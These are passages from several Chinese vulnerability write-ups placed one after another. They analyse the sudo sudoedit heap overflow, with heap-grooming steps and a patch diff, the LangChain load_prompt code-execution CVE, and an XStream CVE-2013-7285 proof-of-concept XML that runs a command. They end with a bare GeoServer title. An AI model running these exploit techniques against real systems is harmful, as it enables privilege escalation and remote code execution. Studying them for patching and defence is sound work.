603:    if (cmnd == NULL) 604: sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 605:    if (!gc_add(GC_PTR, cmnd)) 606: exit(1); 607: 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: } 615: *dst++ = ' '; 616:   } 617:    if (cmnd != dst) 618: dst--;  /* replace last space with a NUL */ 619:    *dst = '\0'; 620: 621:    ac += 2; /* -c cmnd */ 622: } 这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的 绕过检验 那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素 首先是如何才能过进入set_cmnd函数,sudo会经过两重检测 sudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位 sudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位 File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。 File: src\parse_args.c 479: case 's': 480:    sudo_settings[ARG_USER_SHELL].value = "true"; 481:    SET(flags, MODE_SHELL); 482:    break; ... 534: if (!mode) 535:    mode = MODE_RUN; /* running a command */ 536:     } 但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\',那么就会导致我们无法构造'' + '\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数 File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程   ... 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: }   ... 622: } 在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL File: src\parse_args.c   ... 265:     proglen = strlen(progname); 266:     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 267: progname = "sudoedit"; 268: mode = MODE_EDIT; 269: sudo_settings[ARG_SUDOEDIT].value = "true"; 270:     } 想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 漏洞利用 漏洞利用分析 由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。 • 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。 • 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。 可利用堆块 nss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。 在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于/etc/nsswitch.conf的配置文件中 例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so 那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。 接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。 File: nsswitch.c 327: static int 328: nss_load_library (service_user *ni) 329: { 330:   if (ni->library == NULL) 331:     { 332:       /* This service has not yet been used. Fetch the service 333: library for it, creating a new one if need be. If there 334: is no service table from the file, this static variable 335: holds the head of the service_library list made from the 336: default configuration. */ 337:       static name_database default_table; 338:       ni->library = nss_new_service (service_table ?: &default_table, 339:     ni->name); //若ni->library的值为NULL,那么就会新建一个ni->library并将成员都进行初始化 340:       if (ni->library == NULL) 341: return -1; 342:     } 343: 344:   if (ni->library->lib_handle == NULL) //由于ni->library刚新建,因此ni->library->lib_handle必定为NULL 345:     { 346:       /* Load the shared library. */ 347:       size_t shlen = (7 + strlen (ni->name) + 3 348:      + strlen (__nss_shlib_revision) + 1); 349:       int saved_errno = errno; 350:       char shlib_name[shlen]; 351: 352:       /* Construct shared object name. */ 353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, 354:      "libnss_"), 355:    ni->name), 356:  ".so"), //shalib_name是根据拼接得到 357: __nss_shlib_revision); 358: 359:       ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库 上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni->name进行一系列的拼接得到,而ni->name则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni->name,它是能够完成修改程序执行流程的关键变量。 举个例子,例如我们将ni->name修改为X/test,那么最后拼接的结果会得到libnss_X/test.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。 布置堆块的操作 由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni->name,即可完成任意代码执行的效果。 在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。 区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。 export LC_ALL=en_US.UTF-8@XXXX 而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,"")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。 _nl_find_locale函数 File: locale\findlocale.c 101: struct __locale_data * 102: _nl_find_locale (const char *locale_path, size_t locale_path_len, 103: int category, const char **name) 104: {   ... 184:   /* LOCALE can consist of up to four recognized parts for the XPG syntax: 185: 186: language[_territory[.codeset]][@modifier] 187: 188:     Beside the first all of them are allowed to be missing. If the 189:     full specified locale is not found, the less specific one are 190:     looked for. The various part will be stripped off according to 191:     the following order: 192: (1) codeset 193: (2) normalized codeset 194: (3) territory 195: (4) modifier 196:   */       /*       区域的格式为C_en_US.UTF-8@XXXXXX       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失       */ 197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory, 198:   &codeset, &normalized_codeset); 199:   if (mask == -1) 200:     /* Memory allocate problem. */ 201:     return NULL; 202:   //locale_file则给区域设置进行动态内存的分配 205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 206:    locale_path, locale_path_len, mask, 207:    language, territory, codeset, 208:    normalized_codeset, modifier, 209:    _nl_category_names_get (category), 0); //返回NULL 210: 211:   if (locale_file == NULL) 212:     { 213:       /* Find status record for addressed locale file. We have to search 214: through all directories in the locale path. */ 215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 216: locale_path, locale_path_len, mask, 217: language, territory, codeset, 218: normalized_codeset, modifier, 219: _nl_category_names_get (category), 1); 220:       if (locale_file == NULL) 221: /* This means we are out of core. */ 222: return NULL; 223:     } } _nl_make_l10nflist**函数** _nl_make_l10nflist会根据我们传入的值进行堆块的分配。 File: intl\l10nflist.c 150: struct loaded_l10nfile * 151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list, 152:    const char *dirlist, size_t dirlist_len, 153:    int mask, const char *language, const char *territory, 154:    const char *codeset, const char *normalized_codeset, 155:    const char *modifier, 156:    const char *filename, int do_allocate) 157: {   ... 165:   //根据我们传入的区域值的长度进行动态分配 166:   abs_filename = (char *) malloc (dirlist_len 167:  + strlen (language) 168:  + ((mask & XPG_TERRITORY) != 0 169:     ? strlen (territory) + 1 : 0) 170:  + ((mask & XPG_CODESET) != 0 171:     ? strlen (codeset) + 1 : 0) 172:  + ((mask & XPG_NORM_CODESET) != 0 173:     ? strlen (normalized_codeset) + 1 : 0) 174:  + ((mask & XPG_MODIFIER) != 0 175:     ? strlen (modifier) + 1 : 0) 176:  + 1 + strlen (filename) + 1); 177:   ... 292: } setlocale**函数** setlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。 File: locale\setlocale.c 334:       while (category-- > 0) 335: if (category != LC_ALL) 336: {   //通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len, 338: category, 339: &newnames[category]); 340: ... 364: else 365: {   //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 366:    newnames[category] = __strdup (newnames[category]); 367:    if (newnames[category] == NULL) 368:      break; 369: }   ... 393:  if (category != LC_ALL && newnames[category] != _nl_C_name 394:      && newnames[category] != _nl_global_locale.__names[category]) 395:    free ((char *) newnames[category]); //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉 因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。 LC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free() exp的分析 由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。 紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的 将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小 使用错误的区域值进行堆块的释放 最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni->library中用\x00填充,而\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\x00',那么我们就能将\x00的值直接拷贝的堆内存中。紧接着将ni->name修改为我们认为构造的动态链接库即可。 File: plugins\sudoers\sudoers.c 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) //若 '\' 后跟着'\x00' 867:    from++; //此时from会指向\x00 868: *to++ = *from++; //使用\x00进行值的拷贝 869:   } 设置多个环境变量使得内存存在多个'' + '\x00',从而使用'\x00'去覆盖堆的内存值。 演示效果如下 漏洞修复 漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\0'的校验 --- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 +++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 @@ -547,7 +547,7 @@     /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */     /* XXX - causes confusion when root is not listed in sudoers */ -    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) { if (user_uid == 0 && strcmp(prev_user, "root") != 0) {    struct passwd *pw; @@ -932,8 +932,8 @@     if (user_cmnd == NULL) user_cmnd = NewArgv[0]; -    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { - if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) { + if (!ISSET(sudo_mode, MODE_EDIT)) { //对MODE_EDIT进行了额外的判断    const char *runchroot = user_runchroot;    if (runchroot == NULL && def_runchroot != NULL &&    strcmp(def_runchroot, "*") != 0) @@ -961,7 +961,8 @@ sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR);   } -    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { +    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) && +    ISSET(sudo_mode, MODE_RUN)) { //需要sudo -s才能进行转义 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces @@ -969,10 +970,22 @@ */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    while (*from) { - if (from[0] == '\\' && !isspace((unsigned char)from[1])) + if (from[0] == '\\' && from[1] != '\0' &&  //增加了'\0'的判断 + !isspace((unsigned char)from[1])) {    from++; + } + if (size - (to - user_args) < 1) { +    sudo_warnx(U_("internal error, %s overflow"), + __func__); +    debug_return_int(NOT_FOUND_ERROR); + } *to++ = *from++;   } +    if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), +    __func__); + debug_return_int(NOT_FOUND_ERROR); +   }    *to++ = ' '; } *--to = '\0'; 总结 Sudo堆溢出攻击流程 首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。 其次利用堆溢出将server_user堆块的ni->name值覆盖,覆盖的值为恶意构造的动态链接库名。 最后等待动态链接库被加载执行。 Sudo堆溢出利用的限制 由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。
LangChain 任意命令执行(CVE-2023-34541)
漏洞简介 LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 漏洞复现 在项目下编写 test.py from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("system.py") 同级目录下编写 system.py 执行系统命令 dir import os os.system("dir") 运行 test.py 返回了执行系统命令dir 的结果 漏洞分析-_load_prompt_from_file langchain.prompts.loading.load_prompt try_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file langchain.prompts.loading._load_prompt_from_file 在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行 也就相当于,代码可以简写为 if __name__ == '__main__':    file_path = "system.py"    with open(file_path, "rb") as f:        exec(f.read()) ‍ 漏洞分析-try_load_from_hub 因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析 from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py") langchain.prompts.loading.load_prompt langchain.utilities.loading.try_load_from_hub 首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)") 所以需要满足最开始是 lc:// 然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中 最后拼接请求的url 可以通过 ../../../ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行 漏洞小结 在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
Java 反序列化之 XStream 反序列化
0x01 XStream 基础 XStream 简介 XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。 使用 XStream 实现序列化与反序列化 下面看下如何使用 XStream 进行序列化和反序列化操作的。 先定义接口类 IPerson.java public interface IPerson {      void output();   } 接着定义 Person 类实现前面的接口: public class Person implements IPerson {      String name;      int age;        public void output() {          System.out.print("Hello, this is " + this.name + ", age " + this.age);     }   } XStream 序列化是调用 XStream.toXML() 来实现的: public class Serialize {      public static void main(String[] args) {          Person p = new Person();          p.age = 6;          p.name = "Drunkbaby";          XStream xstream = new XStream(new DomDriver());          String xml = xstream.toXML(p);          System.out.println(xml);     }   } XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以: Deserialize.java import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.File;   import java.io.FileInputStream;   import java.io.FileNotFoundException;   import java.util.Scanner;     public class Deserialize {      public static void main(String[] args) throws FileNotFoundException {   //       String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();          FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xstream = new XStream(new DomDriver());          Person p = (Person) xstream.fromXML(xml);          p.output();     }   } XStream 几个部分 XStream 类图,参考./https://www.jianshu.com/p/387c568faf62: 主要分为四个部分: MarshallingStrategy 编码策略 marshall : object->xml 编码 unmarshall : xml-> object 解码 两个重要的实现类: com.thoughtworks.xstream.core.TreeMarshaller : 树编组程序 调用 Mapper 和 Converter 把 XML 转化成 Java 对象 其中的 start 方法开始编组 其中调用了 this.convertAnother(item) 方法 convertAnother 方法的作用是把 XML 转化成 Java 对象。 Mapper 映射器 简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。 Converter 转换器 XStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。 转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。 简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。 转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher canConvert 方法:告诉 XStream 对象,它能够转换的对象; marshal 方法:能够将对象转换为 XML 时候的具体操作; unmarshal 方法:能够将 XML 转换为对象时的具体操作; 具体参考:http://x-stream.github.io/converters.html 这里告诉了我们针对各种对象,XStream 都做了哪些支持。 EventHandler 类 EventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。 EventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。 EventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用: public class EventHandler implements InvocationHandler {      private Object target;      private String action;   ...     public Object invoke(final Object proxy, final Method method, final Object[] arguments) {         ...                  return invokeInternal(proxy, method, arguments);         ...     }         private Object invokeInternal(Object proxy, Method method, Object[] arguments) {         ...                                Method targetMethod = Statement.getMethod(                               target.getClass(), action, argTypes);                 ...                  return MethodUtil.invoke(targetMethod, target, newArgs);             }             ...     }     ...   } 这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释: private Object invokeInternal(Object var1, Method var2, Object[] var3) {   //-------------------------------------part1----------------------------------   //作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称          String var4 = var2.getName();          if (var2.getDeclaringClass() == Object.class) {              if (var4.equals("hashCode")) {                  return new Integer(System.identityHashCode(var1));             }                if (var4.equals("equals")) {                  return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;             }                if (var4.equals("toString")) {                  return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());             }         }   //-------------------------------------part2----------------------------------   //貌似获取了一个class和object          if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {              return null;         } else {              Class[] var5 = null;              Object[] var6 = null;              if (this.eventPropertyName == null) {                  var6 = new Object[0];                  var5 = new Class[0];             } else {                  Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());                  var6 = new Object[]{var7};                  var5 = new Class[]{var7 == null ? null : var7.getClass()};             }   //------------------------------------------------------------------------------              try {                  int var12 = this.action.lastIndexOf(46);                  if (var12 != -1) {                      this.target = this.applyGetters(this.target, this.action.substring(0, var12));                      this.action = this.action.substring(var12 + 1);                 }   //--------------------------------------part3----------------------------------------   //var13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException                  Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);   //--------------------------------------------------------------------------   //判断var13是否为空,当然不为空啦                  if (var13 == null) {                      var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);                 }                    if (var13 == null) {                      String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];                      throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);                 } else {   //-------------------------------------part4----------------------------------   //调用invoke,调用函数,执行命令                      return MethodUtil.invoke(var13, this.target, var6);                 }   //------------------------------------------------------------------------------             } catch (IllegalAccessException var10) {                  throw new RuntimeException(var10);             } catch (InvocationTargetException var11) {                  Throwable var8 = var11.getTargetException();                  throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);             }         }   } 有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink DynamicProxyConverter 动态代理转换器 DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象: XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。 以官网给的例子为例: <dynamic-proxy>    <interface>com.foo.Blah</interface>    <interface>com.foo.Woo</interface>    <handler class="com.foo.MyHandler">      <something>blah</something>    </handler>   </dynamic-proxy> dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler 0x02 CVE-2013-7285 PoC <sorted-set>    <dynamic-proxy>      <interface>java.lang.Comparable</interface>      <handler class="java.beans.EventHandler">        <target class="java.lang.ProcessBuilder">          <command>            <string>Calc</string>          </command>        </target>        <action>start</action>      </handler>    </dynamic-proxy>   </sorted-set> 看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke() 了 触发代码 import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.FileInputStream;     // CVE_2013_7285 Exploit   public class CVE_2013_7285 {      public static void main(String[] args) throws Exception{          FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xStream = new XStream(new DomDriver());          xStream.fromXML(fileInputStream);     }   } 漏洞原理 XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。 利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。 漏洞分析 下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型 后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型 接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器 往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。 接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法: 在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。 跟进之后就变得一目了然了,其中判断 reader 是否还有子元素 下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker 往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中: 跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中 这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 <dynamic-proxy>,这里有点像是递归调用 可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个) 经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。 先判断当前元素是否还有子元素,并获取该子元素进行后续判断 根据我们所编写的 xml,获取到的子元素为 <interface>,经过判断 if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型。 因为仍旧存在子元素,获取完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。 往下走,第 125 行调用了 Proxy.newProxyInstance() 方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler 类 往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 <handler> 节点之下还有很多子节点(又看到了熟悉的 hasChildren() 这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法 后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。 将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方 跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据 最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的 invoke:428, EventHandler (java.beans) compareTo:-1, $Proxy0 (com.sun.proxy) compare:1294, TreeMap (java.util) put:538, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections) 最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行 0x03 漏洞修复 根据官方的修复手段,这里其实增加了黑名单 Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case: xstream.registerConverter(new Converter() {  public boolean canConvert(Class type) {    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type)); }  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); }  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); } }, XStream.PRIORITY_LOW); 0x04 小结 XStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的。
浅析GeoServer CVE-2023-25157 SQL注入
